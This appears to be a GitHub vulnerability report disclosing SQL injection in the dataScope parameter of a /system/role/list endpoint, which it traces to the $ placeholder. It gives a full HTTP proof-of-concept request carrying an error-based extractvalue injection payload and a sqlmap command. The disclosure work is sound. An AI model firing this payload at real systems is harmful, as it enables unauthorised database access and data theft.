Skip to content

Latest commit

 

History

History
33 lines (25 loc) · 1.67 KB

report.md

File metadata and controls

33 lines (25 loc) · 1.67 KB

SQL injection exists in the dataScope parameter of the /system/role/list interface of the system.
The cause of this vulnerability is the use of the $ placeholder symbol.
image
Find the front-end interface of the interface and click search in the role management.
image
poc:
POST /system/role/list HTTP/1.1
Host: 127.0.0.1:9999
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: application/json, text/javascript, /; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 217
Origin: http://127.0.0.1:9999
Connection: close
Referer: http://127.0.0.1:9999/system/role
Cookie: JSESSIONID=d2cf469f-6b72-4685-b811-2d8b45623eeb

roleName=11&roleKey=11&status=&params%5BbeginTime%5D=&params%5BendTime%5D=&pageSize=10&pageNum=1&orderByColumn=roleSort&isAsc=asc&params[dataScope]=union select 1,extractvalue(1,concat(0x7e,(select database()))),3 --+

Successfully viewed database。
image
image
sqlmap command:python sqlmap.py -r sql.txt
image